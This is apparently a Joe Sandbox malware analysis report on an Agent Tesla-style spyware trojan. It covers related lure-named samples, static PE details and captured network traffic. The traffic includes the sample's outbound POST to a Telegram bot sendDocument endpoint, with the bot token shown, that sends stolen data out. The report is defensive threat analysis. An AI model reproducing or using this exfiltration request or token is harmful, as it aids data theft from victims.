                                                            Analysis system description:Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 104, IE 11, Adobe Reader DC 19, Java 8 Update 211
                                                            Number of analysed new started processes analysed:14
                                                            Number of new started drivers analysed:0
                                                            Number of existing processes analysed:0
                                                            Number of existing drivers analysed:0
                                                            Number of injected processes analysed:0
                                                            Technologies:
                                                            • HCA enabled
                                                            • EGA enabled
                                                            • HDC enabled
                                                            • AMSI enabled
                                                            Analysis Mode:default
                                                            Analysis stop reason:Timeout
                                                            Detection:MAL
                                                            Classification:mal100.troj.spyw.evad.winEXE@5/1@3/2
                                                            EGA Information:
                                                            • Successful, ratio: 100%
                                                            HDC Information:Failed
                                                            HCA Information:
                                                            • Successful, ratio: 97%
                                                            • Number of executed functions: 75
                                                            • Number of non-executed functions: 5
                                                            Cookbook Comments:
                                                            • Found application associated with file extension: .exe

                                                            Warnings

                                                            • Exclude process from analysis (whitelisted): MpCmdRun.exe, SgrmBroker.exe, conhost.exe, svchost.exe
                                                            • Excluded domains from analysis (whitelisted): fs.microsoft.com
                                                            • Not all processes where analyzed, report is missing behavior information
                                                            • Report creation exceeded maximum time and may have missing disassembly code information.
                                                            • Report size getting too big, too many NtAllocateVirtualMemory calls found.
                                                            • Report size getting too big, too many NtOpenKeyEx calls found.
                                                            • Report size getting too big, too many NtProtectVirtualMemory calls found.
                                                            • Report size getting too big, too many NtQueryValueKey calls found.

                                                            Simulations

                                                            Behavior and APIs

                                                            TimeTypeDescription
                                                            12:21:13API Interceptor488x Sleep call for process: rzN2ckYW24.exe modified

                                                            Joe Sandbox View / Context

                                                            IPs

                                                            MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
                                                            149.154.167.220Scan_Document_xls.exeGet hashmaliciousBrowse
                                                              SecuriteInfo.com.Heur.MSIL.Bladabindi.1.28850.7667.exeGet hashmaliciousBrowse
                                                                SecuriteInfo.com.Variant.Fragtor.155590.23683.28000.exeGet hashmaliciousBrowse
                                                                  RFQ# 6000163267.exeGet hashmaliciousBrowse
                                                                    Gestempelte ge#U00e4nderte Bestellung.exeGet hashmaliciousBrowse
                                                                      NETES F#U0130YAT TEKL#U0130F #U0130STE#U011e#U0130#U2026URK75BS#U0130l_pdf.exeGet hashmaliciousBrowse
                                                                        5zWNvyL6A7.exeGet hashmaliciousBrowse
                                                                          Qoutation_pdf_______________________________.exeGet hashmaliciousBrowse
                                                                            kayzx.exeGet hashmaliciousBrowse
                                                                              LANKA TILES TOTAL OUTSTANDING PAYMENT..exeGet hashmaliciousBrowse
                                                                                PO.exeGet hashmaliciousBrowse
                                                                                  uCfB7hBNmE.exeGet hashmaliciousBrowse
                                                                                    Drawing sheet.xlsxGet hashmaliciousBrowse
                                                                                      win.exeGet hashmaliciousBrowse
                                                                                        Shipment Scan Document.exeGet hashmaliciousBrowse
                                                                                          zamowienie.xlsGet hashmaliciousBrowse
                                                                                            SOA pdf.exeGet hashmaliciousBrowse
                                                                                              AMC QUOTATION.docGet hashmaliciousBrowse
                                                                                                freight invoices no 5634521.exeGet hashmaliciousBrowse
                                                                                                  SecuriteInfo.com.Win32.PWSX-gen.163.17629.exeGet hashmaliciousBrowse
                                                                                                    3.220.57.224iirWPHKXWA.exeGet hashmaliciousBrowse
                                                                                                    • api.ipify.org/
                                                                                                    iirWPHKXWA.exeGet hashmaliciousBrowse
                                                                                                    • api.ipify.org/
                                                                                                    library_1.exeGet hashmaliciousBrowse
                                                                                                    • api.ipify.org/?format=xml
                                                                                                    MPW3FZULO3.exeGet hashmaliciousBrowse
                                                                                                    • api.ipify.org/?format=xml
                                                                                                    #U00d6deme kopyas#U0131.exeGet hashmaliciousBrowse
                                                                                                    • api.ipify.org/
                                                                                                    na.exeGet hashmaliciousBrowse
                                                                                                    • api.ipify.org/
                                                                                                    IMG0001909022.vbsGet hashmaliciousBrowse
                                                                                                    • api.ipify.org/
                                                                                                    SecuriteInfo.com.W32.Trojan.FSDO-8208.24884.exeGet hashmaliciousBrowse
                                                                                                    • api.ipify.org/
                                                                                                    Qivwb1V6g1.exeGet hashmaliciousBrowse
                                                                                                    • api.ipify.org/
                                                                                                    UC8CT2nqw6.exeGet hashmaliciousBrowse
                                                                                                    • api.ipify.org/
                                                                                                    ConsoleApp8.exeGet hashmaliciousBrowse
                                                                                                    • api.ipify.org/
                                                                                                    SecuriteInfo.com.Trojan.GenericKD.50428043.31193.exeGet hashmaliciousBrowse
                                                                                                    • api.ipify.org/
                                                                                                    helf.hpl.dllGet hashmaliciousBrowse
                                                                                                    • api.ipify.org/
                                                                                                    Z27PH1HZ6U.docGet hashmaliciousBrowse
                                                                                                    • api.ipify.org/
                                                                                                    5b2ZDL77Fq.docGet hashmaliciousBrowse
                                                                                                    • api.ipify.org/
                                                                                                    2AR9mQp9I8.exeGet hashmaliciousBrowse
                                                                                                    • api.ipify.org/?format=xml
                                                                                                    F9NrUlchdt.exeGet hashmaliciousBrowse
                                                                                                    • api.ipify.org/?format=xml
                                                                                                    tbsvrGet hashmaliciousBrowse
                                                                                                    • api.ipify.org/
                                                                                                    Cy8ipMMziQ.docGet hashmaliciousBrowse
                                                                                                    • api.ipify.org/
                                                                                                    DrC7J6YQnm.exeGet hashmaliciousBrowse
                                                                                                    • api.ipify.org/?format=xml

                                                                                                    Domains

                                                                                                    MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
                                                                                                    api.ipify.org.herokudns.comScan_Document_xls.exeGet hashmaliciousBrowse
                                                                                                    • 3.232.242.170
                                                                                                    Remittance copy.exeGet hashmaliciousBrowse
                                                                                                    • 52.20.78.240
                                                                                                    payment copy.exeGet hashmaliciousBrowse
                                                                                                    • 54.91.59.199
                                                                                                    SHIPPING DOC.exeGet hashmaliciousBrowse
                                                                                                    • 3.220.57.224
                                                                                                    Payment advice.exeGet hashmaliciousBrowse
                                                                                                    • 52.20.78.240
                                                                                                    RFQ103122-WOLF MACHINE INC.exeGet hashmaliciousBrowse
                                                                                                    • 52.20.78.240
                                                                                                    New PO.exeGet hashmaliciousBrowse
                                                                                                    • 3.220.57.224
                                                                                                    rolasd.exeGet hashmaliciousBrowse
                                                                                                    • 3.232.242.170
                                                                                                    payment copy.exeGet hashmaliciousBrowse
                                                                                                    • 3.220.57.224
                                                                                                    KWIIR00322677.exeGet hashmaliciousBrowse
                                                                                                    • 52.20.78.240
                                                                                                    WELTER zahnrad GmbH Urgent enquiry Order nr543.exeGet hashmaliciousBrowse
                                                                                                    • 3.220.57.224
                                                                                                    WIRE SWIFT COPY.exeGet hashmaliciousBrowse
                                                                                                    • 3.220.57.224
                                                                                                    Gestempelte ge#U00e4nderte Bestellung.exeGet hashmaliciousBrowse
                                                                                                    • 54.91.59.199
                                                                                                    October SOA.exeGet hashmaliciousBrowse
                                                                                                    • 3.232.242.170
                                                                                                    7901280598.exeGet hashmaliciousBrowse
                                                                                                    • 3.220.57.224
                                                                                                    5zWNvyL6A7.exeGet hashmaliciousBrowse
                                                                                                    • 3.232.242.170
                                                                                                    Qoutation_pdf_______________________________.exeGet hashmaliciousBrowse
                                                                                                    • 3.220.57.224
                                                                                                    kayzx.exeGet hashmaliciousBrowse
                                                                                                    • 54.91.59.199
                                                                                                    iHnURhtmID.exeGet hashmaliciousBrowse
                                                                                                    • 52.20.78.240
                                                                                                    Scombrid.exeGet hashmaliciousBrowse
                                                                                                    • 3.232.242.170

                                                                                                    ASNs

                                                                                                    MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
                                                                                                    TELEGRAMRUScan_Document_xls.exeGet hashmaliciousBrowse
                                                                                                    • 149.154.167.220
                                                                                                    file.exeGet hashmaliciousBrowse
                                                                                                    • 149.154.167.99
                                                                                                    file.exeGet hashmaliciousBrowse
                                                                                                    • 149.154.167.99
                                                                                                    file.exeGet hashmaliciousBrowse
                                                                                                    • 149.154.167.99
                                                                                                    file.exeGet hashmaliciousBrowse
                                                                                                    • 149.154.167.99
                                                                                                    SecuriteInfo.com.Heur.MSIL.Bladabindi.1.28850.7667.exeGet hashmaliciousBrowse
                                                                                                    • 149.154.167.220
                                                                                                    file.exeGet hashmaliciousBrowse
                                                                                                    • 149.154.167.99
                                                                                                    file.exeGet hashmaliciousBrowse
                                                                                                    • 149.154.167.99
                                                                                                    file.exeGet hashmaliciousBrowse
                                                                                                    • 149.154.167.99
                                                                                                    file.exeGet hashmaliciousBrowse
                                                                                                    • 149.154.167.99
                                                                                                    file.exeGet hashmaliciousBrowse
                                                                                                    • 149.154.167.99
                                                                                                    file.exeGet hashmaliciousBrowse
                                                                                                    • 149.154.167.99
                                                                                                    SecuriteInfo.com.Variant.Fragtor.155590.23683.28000.exeGet hashmaliciousBrowse
                                                                                                    • 149.154.167.220
                                                                                                    file.exeGet hashmaliciousBrowse
                                                                                                    • 149.154.167.99
                                                                                                    file.exeGet hashmaliciousBrowse
                                                                                                    • 149.154.167.99
                                                                                                    file.exeGet hashmaliciousBrowse
                                                                                                    • 149.154.167.99
                                                                                                    file.exeGet hashmaliciousBrowse
                                                                                                    • 149.154.167.99
                                                                                                    RFQ# 6000163267.exeGet hashmaliciousBrowse
                                                                                                    • 149.154.167.220
                                                                                                    WWW9 (2) (3).exeGet hashmaliciousBrowse
                                                                                                    • 149.154.167.99
                                                                                                    file.exeGet hashmaliciousBrowse
                                                                                                    • 149.154.167.99

                                                                                                    JA3 Fingerprints

                                                                                                    MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
                                                                                                    3b5074b1b5d032e5620f69f9f700ff0eScan_Document_xls.exeGet hashmaliciousBrowse
                                                                                                    • 149.154.167.220
                                                                                                    • 3.220.57.224
                                                                                                    Remittance copy.exeGet hashmaliciousBrowse
                                                                                                    • 149.154.167.220
                                                                                                    • 3.220.57.224
                                                                                                    3qXE1Bpn92.exeGet hashmaliciousBrowse
                                                                                                    • 149.154.167.220
                                                                                                    • 3.220.57.224
                                                                                                    0Eot6HTp2y.exeGet hashmaliciousBrowse
                                                                                                    • 149.154.167.220
                                                                                                    • 3.220.57.224
                                                                                                    SecuriteInfo.com.Heur.MSIL.Bladabindi.1.28850.7667.exeGet hashmaliciousBrowse
                                                                                                    • 149.154.167.220
                                                                                                    • 3.220.57.224
                                                                                                    payment copy.exeGet hashmaliciousBrowse
                                                                                                    • 149.154.167.220
                                                                                                    • 3.220.57.224
                                                                                                    Payment copy.exeGet hashmaliciousBrowse
                                                                                                    • 149.154.167.220
                                                                                                    • 3.220.57.224
                                                                                                    SHIPPING DOC.exeGet hashmaliciousBrowse
                                                                                                    • 149.154.167.220
                                                                                                    • 3.220.57.224
                                                                                                    Payment advice.exeGet hashmaliciousBrowse
                                                                                                    • 149.154.167.220
                                                                                                    • 3.220.57.224
                                                                                                    RFQ103122-WOLF MACHINE INC.exeGet hashmaliciousBrowse
                                                                                                    • 149.154.167.220
                                                                                                    • 3.220.57.224
                                                                                                    New PO.exeGet hashmaliciousBrowse
                                                                                                    • 149.154.167.220
                                                                                                    • 3.220.57.224
                                                                                                    SecuriteInfo.com.Variant.Fragtor.155590.23683.28000.exeGet hashmaliciousBrowse
                                                                                                    • 149.154.167.220
                                                                                                    • 3.220.57.224
                                                                                                    payment copy.exeGet hashmaliciousBrowse
                                                                                                    • 149.154.167.220
                                                                                                    • 3.220.57.224
                                                                                                    KWIIR00322677.exeGet hashmaliciousBrowse
                                                                                                    • 149.154.167.220
                                                                                                    • 3.220.57.224
                                                                                                    file.exeGet hashmaliciousBrowse
                                                                                                    • 149.154.167.220
                                                                                                    • 3.220.57.224
                                                                                                    WELTER zahnrad GmbH Urgent enquiry Order nr543.exeGet hashmaliciousBrowse
                                                                                                    • 149.154.167.220
                                                                                                    • 3.220.57.224
                                                                                                    WIRE SWIFT COPY.exeGet hashmaliciousBrowse
                                                                                                    • 149.154.167.220
                                                                                                    • 3.220.57.224
                                                                                                    Gestempelte ge#U00e4nderte Bestellung.exeGet hashmaliciousBrowse
                                                                                                    • 149.154.167.220
                                                                                                    • 3.220.57.224
                                                                                                    October SOA.exeGet hashmaliciousBrowse
                                                                                                    • 149.154.167.220
                                                                                                    • 3.220.57.224
                                                                                                    NETES F#U0130YAT TEKL#U0130F #U0130STE#U011e#U0130#U2026URK75BS#U0130l_pdf.exeGet hashmaliciousBrowse
                                                                                                    • 149.154.167.220
                                                                                                    • 3.220.57.224

                                                                                                    Dropped Files

                                                                                                    ⊘No context

                                                                                                    Created / dropped Files

                                                                                                    C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\rzN2ckYW24.exe.log

                                                                                                    Download File
                                                                                                    Process:C:\Users\user\Desktop\rzN2ckYW24.exe
                                                                                                    File Type:ASCII text, with CRLF line terminators
                                                                                                    Category:dropped
                                                                                                    Size (bytes):1216
                                                                                                    Entropy (8bit):5.355304211458859
                                                                                                    Encrypted:false
                                                                                                    SSDEEP:24:MLUE4K5E4Ks2E1qE4qXKDE4KhK3VZ9pKhPKIE4oKFKHKoZAE4Kzr7FE4x84j:MIHK5HKXE1qHiYHKhQnoPtHoxHhAHKzr
                                                                                                    MD5:FED34146BF2F2FA59DCF8702FCC8232E
                                                                                                    SHA1:B03BFEA175989D989850CF06FE5E7BBF56EAA00A
                                                                                                    SHA-256:123BE4E3590609A008E85501243AF5BC53FA0C26C82A92881B8879524F8C0D5C
                                                                                                    SHA-512:1CC89F2ED1DBD70628FA1DC41A32BA0BFA3E81EAE1A1CF3C5F6A48F2DA0BF1F21A5001B8A18B04043C5B8FE4FBE663068D86AA8C4BD8E17933F75687C3178FF6
                                                                                                    Malicious:true
                                                                                                    Reputation:high, very likely benign file
                                                                                                    Preview:1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\f1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\8d67d92724ba494b6c7fd089d6f25b48\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\b219d4630d26b88041b59c21

                                                                                                    Static File Info

                                                                                                    General

                                                                                                    File type:PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                    Entropy (8bit):7.915053550313837
                                                                                                    TrID:
                                                                                                    • Win32 Executable (generic) Net Framework (10011505/4) 49.80%
                                                                                                    • Win32 Executable (generic) a (10002005/4) 49.75%
                                                                                                    • Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36%
                                                                                                    • Windows Screen Saver (13104/52) 0.07%
                                                                                                    • Generic Win/DOS Executable (2004/3) 0.01%
                                                                                                    File name:rzN2ckYW24.exe
                                                                                                    File size:684032
                                                                                                    MD5:44159444c9bc9980871b80b3ae071ffb
                                                                                                    SHA1:baf57ff497d2e202a1a119e8719e44c0aa100475
                                                                                                    SHA256:9e4f0e0a10a778fb94e7631c17082b44bf75170d7ca81b393574fd3f4c004f47
                                                                                                    SHA512:5599a5eb0bf29de8db3d3177e2a80049101884fe179bdd28d24fd5d61bdcc6132444a8096f530d94c22151731d08d67835dc2a9844eb3764827bef48361be54f
                                                                                                    SSDEEP:12288:XzFouHH1JJ2iNqkejwFGfnH/OE9ZAFAkG1Z/dSzo3Jz4ABQyxh:XCu1j1UeGPHBA4wqJzr/
                                                                                                    TLSH:92E4124162B64F55F0BE03F90AF6921047BA7D16E662E78C5CC72AEF19A1F80C512B73
                                                                                                    File Content Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...M0................0.."...L.......>... ...`....@.. ....................................@................................

                                                                                                    File Icon

                                                                                                    Icon Hash:ce9c9496e4949c9e

                                                                                                    Static PE Info

                                                                                                    General

                                                                                                    Entrypoint:0x4a3e1a
                                                                                                    Entrypoint Section:.text
                                                                                                    Digitally signed:false
                                                                                                    Imagebase:0x400000
                                                                                                    Subsystem:windows gui
                                                                                                    Image File Characteristics:EXECUTABLE_IMAGE, 32BIT_MACHINE
                                                                                                    DLL Characteristics:DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
                                                                                                    Time Stamp:0xBEFF304D [Fri Jul 17 21:44:45 2071 UTC]
                                                                                                    TLS Callbacks:
                                                                                                    CLR (.Net) Version:
                                                                                                    OS Version Major:4
                                                                                                    OS Version Minor:0
                                                                                                    File Version Major:4
                                                                                                    File Version Minor:0
                                                                                                    Subsystem Version Major:4
                                                                                                    Subsystem Version Minor:0
                                                                                                    Import Hash:f34d5f2d4577ed6d9ceec516c1f5a744

                                                                                                    Entrypoint Preview

                                                                                                    Instruction
                                                                                                    jmp dword ptr [00402000h]
                                                                                                    int CCh
                                                                                                    int3
                                                                                                    int3
                                                                                                    int3
                                                                                                    int3
                                                                                                    cld
                                                                                                    aas
                                                                                                    xor esi, dword ptr [ebx]
                                                                                                    xor esi, dword ptr [ebx]
                                                                                                    xor esi, dword ptr [ebx]
                                                                                                    add eax, dword ptr [eax+00h]
                                                                                                    add byte ptr [eax], al
                                                                                                    add byte ptr [eax], al
                                                                                                    add byte ptr [eax], dl
                                                                                                    inc eax
                                                                                                    add byte ptr [eax], al
                                                                                                    add byte ptr [eax], al
                                                                                                    add byte ptr [eax], al
                                                                                                    push ss
                                                                                                    inc eax
                                                                                                    add byte ptr [eax], al
                                                                                                    add byte ptr [eax], al
                                                                                                    add byte ptr [eax], al
                                                                                                    sub byte ptr [eax+66h], al

                                                                                                    Data Directories

                                                                                                    NameVirtual AddressVirtual Size Is in Section
                                                                                                    IMAGE_DIRECTORY_ENTRY_EXPORT0x00x0
                                                                                                    IMAGE_DIRECTORY_ENTRY_IMPORT0xa3dc80x4f.text
                                                                                                    IMAGE_DIRECTORY_ENTRY_RESOURCE0xa60000x4854.rsrc
                                                                                                    IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
                                                                                                    IMAGE_DIRECTORY_ENTRY_SECURITY0x00x0
                                                                                                    IMAGE_DIRECTORY_ENTRY_BASERELOC0xac0000xc.reloc
                                                                                                    IMAGE_DIRECTORY_ENTRY_DEBUG0xa3dac0x1c.text
                                                                                                    IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                                                                                                    IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                                                                                                    IMAGE_DIRECTORY_ENTRY_TLS0x00x0
                                                                                                    IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x00x0
                                                                                                    IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                                                                                                    IMAGE_DIRECTORY_ENTRY_IAT0x20000x8.text
                                                                                                    IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
                                                                                                    IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x20080x48.text
                                                                                                    IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

                                                                                                    Sections

                                                                                                    NameVirtual AddressVirtual SizeRaw SizeXored PEZLIB ComplexityFile TypeEntropyCharacteristics
                                                                                                    .text0x20000xa20500xa2200False0.9359384035273709data7.934508263967678IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                                                                                                    .rsrc0xa60000x48540x4a00False0.5450802364864865data6.213792802382621IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                                                                    .reloc0xac0000xc0x200False0.044921875data0.10191042566270775IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

                                                                                                    Resources

                                                                                                    NameRVASizeTypeLanguageCountry
                                                                                                    RT_ICON0xa61300x4228Device independent bitmap graphic, 64 x 128 x 32, image size 16384
                                                                                                    RT_GROUP_ICON0xaa3580x14data
                                                                                                    RT_VERSION0xaa36c0x2fcdata
                                                                                                    RT_MANIFEST0xaa6680x1eaXML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators

                                                                                                    Imports

                                                                                                    DLLImport
                                                                                                    mscoree.dll_CorExeMain

                                                                                                    Network Behavior

                                                                                                    Snort IDS Alerts

                                                                                                    TimestampProtocolSIDMessageSource PortDest PortSource IPDest IP
                                                                                                    192.168.2.3149.154.167.220497034432851779 11/03/22-12:21:37.839026TCP2851779ETPRO TROJAN Agent Tesla Telegram Exfil49703443192.168.2.3149.154.167.220

                                                                                                    Network Port Distribution

                                                                                                    TCP Packets

                                                                                                    TimestampSource PortDest PortSource IPDest IP
                                                                                                    Nov 3, 2022 12:21:25.394248962 CET49702443192.168.2.33.220.57.224
                                                                                                    Nov 3, 2022 12:21:25.394336939 CET443497023.220.57.224192.168.2.3
                                                                                                    Nov 3, 2022 12:21:25.394505978 CET49702443192.168.2.33.220.57.224
                                                                                                    Nov 3, 2022 12:21:25.438405037 CET49702443192.168.2.33.220.57.224
                                                                                                    Nov 3, 2022 12:21:25.438488960 CET443497023.220.57.224192.168.2.3
                                                                                                    Nov 3, 2022 12:21:25.732002020 CET443497023.220.57.224192.168.2.3
                                                                                                    Nov 3, 2022 12:21:25.732249022 CET49702443192.168.2.33.220.57.224
                                                                                                    Nov 3, 2022 12:21:25.737373114 CET49702443192.168.2.33.220.57.224
                                                                                                    Nov 3, 2022 12:21:25.737407923 CET443497023.220.57.224192.168.2.3
                                                                                                    Nov 3, 2022 12:21:25.737855911 CET443497023.220.57.224192.168.2.3
                                                                                                    Nov 3, 2022 12:21:25.871424913 CET49702443192.168.2.33.220.57.224
                                                                                                    Nov 3, 2022 12:21:26.340863943 CET49702443192.168.2.33.220.57.224
                                                                                                    Nov 3, 2022 12:21:26.340910912 CET443497023.220.57.224192.168.2.3
                                                                                                    Nov 3, 2022 12:21:26.480662107 CET443497023.220.57.224192.168.2.3
                                                                                                    Nov 3, 2022 12:21:26.480782986 CET443497023.220.57.224192.168.2.3
                                                                                                    Nov 3, 2022 12:21:26.480864048 CET49702443192.168.2.33.220.57.224
                                                                                                    Nov 3, 2022 12:21:26.504179955 CET49702443192.168.2.33.220.57.224
                                                                                                    Nov 3, 2022 12:21:37.714263916 CET49703443192.168.2.3149.154.167.220
                                                                                                    Nov 3, 2022 12:21:37.714333057 CET44349703149.154.167.220192.168.2.3
                                                                                                    Nov 3, 2022 12:21:37.714464903 CET49703443192.168.2.3149.154.167.220
                                                                                                    Nov 3, 2022 12:21:37.715651989 CET49703443192.168.2.3149.154.167.220
                                                                                                    Nov 3, 2022 12:21:37.715696096 CET44349703149.154.167.220192.168.2.3
                                                                                                    Nov 3, 2022 12:21:37.786349058 CET44349703149.154.167.220192.168.2.3
                                                                                                    Nov 3, 2022 12:21:37.786521912 CET49703443192.168.2.3149.154.167.220
                                                                                                    Nov 3, 2022 12:21:37.791690111 CET49703443192.168.2.3149.154.167.220
                                                                                                    Nov 3, 2022 12:21:37.791733980 CET44349703149.154.167.220192.168.2.3
                                                                                                    Nov 3, 2022 12:21:37.792078972 CET44349703149.154.167.220192.168.2.3
                                                                                                    Nov 3, 2022 12:21:37.795787096 CET49703443192.168.2.3149.154.167.220
                                                                                                    Nov 3, 2022 12:21:37.795840025 CET44349703149.154.167.220192.168.2.3
                                                                                                    Nov 3, 2022 12:21:37.834764957 CET44349703149.154.167.220192.168.2.3
                                                                                                    Nov 3, 2022 12:21:37.838870049 CET49703443192.168.2.3149.154.167.220
                                                                                                    Nov 3, 2022 12:21:37.838929892 CET44349703149.154.167.220192.168.2.3
                                                                                                    Nov 3, 2022 12:21:53.483609915 CET44349703149.154.167.220192.168.2.3
                                                                                                    Nov 3, 2022 12:21:53.483799934 CET44349703149.154.167.220192.168.2.3
                                                                                                    Nov 3, 2022 12:21:53.483903885 CET49703443192.168.2.3149.154.167.220
                                                                                                    Nov 3, 2022 12:21:53.484666109 CET49703443192.168.2.3149.154.167.220

                                                                                                    UDP Packets

                                                                                                    TimestampSource PortDest PortSource IPDest IP
                                                                                                    Nov 3, 2022 12:21:25.296978951 CET4997753192.168.2.38.8.8.8
                                                                                                    Nov 3, 2022 12:21:25.315884113 CET53499778.8.8.8192.168.2.3
                                                                                                    Nov 3, 2022 12:21:25.329701900 CET5784053192.168.2.38.8.8.8
                                                                                                    Nov 3, 2022 12:21:25.348983049 CET53578408.8.8.8192.168.2.3
                                                                                                    Nov 3, 2022 12:21:37.687520981 CET5799053192.168.2.38.8.8.8
                                                                                                    Nov 3, 2022 12:21:37.710592985 CET53579908.8.8.8192.168.2.3

                                                                                                    DNS Queries

                                                                                                    TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                                                                                                    Nov 3, 2022 12:21:25.296978951 CET192.168.2.38.8.8.80x8663Standard query (0)api.ipify.orgA (IP address)IN (0x0001)false
                                                                                                    Nov 3, 2022 12:21:25.329701900 CET192.168.2.38.8.8.80xa62bStandard query (0)api.ipify.orgA (IP address)IN (0x0001)false
                                                                                                    Nov 3, 2022 12:21:37.687520981 CET192.168.2.38.8.8.80xe0eeStandard query (0)api.telegram.orgA (IP address)IN (0x0001)false

                                                                                                    DNS Answers

                                                                                                    TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                                                                                                    Nov 3, 2022 12:21:25.315884113 CET8.8.8.8192.168.2.30x8663No error (0)api.ipify.orgapi.ipify.org.herokudns.comCNAME (Canonical name)IN (0x0001)false
                                                                                                    Nov 3, 2022 12:21:25.315884113 CET8.8.8.8192.168.2.30x8663No error (0)api.ipify.org.herokudns.com3.220.57.224A (IP address)IN (0x0001)false
                                                                                                    Nov 3, 2022 12:21:25.315884113 CET8.8.8.8192.168.2.30x8663No error (0)api.ipify.org.herokudns.com3.232.242.170A (IP address)IN (0x0001)false
                                                                                                    Nov 3, 2022 12:21:25.315884113 CET8.8.8.8192.168.2.30x8663No error (0)api.ipify.org.herokudns.com54.91.59.199A (IP address)IN (0x0001)false
                                                                                                    Nov 3, 2022 12:21:25.315884113 CET8.8.8.8192.168.2.30x8663No error (0)api.ipify.org.herokudns.com52.20.78.240A (IP address)IN (0x0001)false
                                                                                                    Nov 3, 2022 12:21:25.348983049 CET8.8.8.8192.168.2.30xa62bNo error (0)api.ipify.orgapi.ipify.org.herokudns.comCNAME (Canonical name)IN (0x0001)false
                                                                                                    Nov 3, 2022 12:21:25.348983049 CET8.8.8.8192.168.2.30xa62bNo error (0)api.ipify.org.herokudns.com52.20.78.240A (IP address)IN (0x0001)false
                                                                                                    Nov 3, 2022 12:21:25.348983049 CET8.8.8.8192.168.2.30xa62bNo error (0)api.ipify.org.herokudns.com3.220.57.224A (IP address)IN (0x0001)false
                                                                                                    Nov 3, 2022 12:21:25.348983049 CET8.8.8.8192.168.2.30xa62bNo error (0)api.ipify.org.herokudns.com3.232.242.170A (IP address)IN (0x0001)false
                                                                                                    Nov 3, 2022 12:21:25.348983049 CET8.8.8.8192.168.2.30xa62bNo error (0)api.ipify.org.herokudns.com54.91.59.199A (IP address)IN (0x0001)false
                                                                                                    Nov 3, 2022 12:21:37.710592985 CET8.8.8.8192.168.2.30xe0eeNo error (0)api.telegram.org149.154.167.220A (IP address)IN (0x0001)false

                                                                                                    HTTP Request Dependency Graph

                                                                                                    • api.ipify.org
                                                                                                    • api.telegram.org

                                                                                                    HTTPS Proxied Packets

                                                                                                    Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                                                    0192.168.2.3497023.220.57.224443C:\Users\user\Desktop\rzN2ckYW24.exe
                                                                                                    TimestampkBytes transferredDirectionData
                                                                                                    2022-11-03 11:21:26 UTC0OUTGET / HTTP/1.1
                                                                                                    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0
                                                                                                    Host: api.ipify.org
                                                                                                    Connection: Keep-Alive
                                                                                                    2022-11-03 11:21:26 UTC0INHTTP/1.1 200 OK
                                                                                                    Server: Cowboy
                                                                                                    Connection: close
                                                                                                    Content-Type: text/plain
                                                                                                    Vary: Origin
                                                                                                    Date: Thu, 03 Nov 2022 11:21:26 GMT
                                                                                                    Content-Length: 14
                                                                                                    Via: 1.1 vegur
                                                                                                    2022-11-03 11:21:26 UTC0INData Raw: 31 30 32 2e 31 32 39 2e 31 34 33 2e 31 35
                                                                                                    Data Ascii: 102.129.143.15


                                                                                                    Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                                                    1192.168.2.349703149.154.167.220443C:\Users\user\Desktop\rzN2ckYW24.exe
                                                                                                    TimestampkBytes transferredDirectionData
                                                                                                    2022-11-03 11:21:37 UTC0OUTPOST /bot5577155192:AAEz6ZTkghx2RsdTxeeE-sDulPHc5WQblVg/sendDocument HTTP/1.1
                                                                                                    Content-Type: multipart/form-data; boundary=---------------------------8dabd95f4b3e0e1
                                                                                                    Host: api.telegram.org
                                                                                                    Content-Length: 1063
                                                                                                    Expect: 100-continue
                                                                                                    Connection: Keep-Alive
                                                                                                    2022-11-03 11:21:37 UTC0INHTTP/1.1 100 Continue
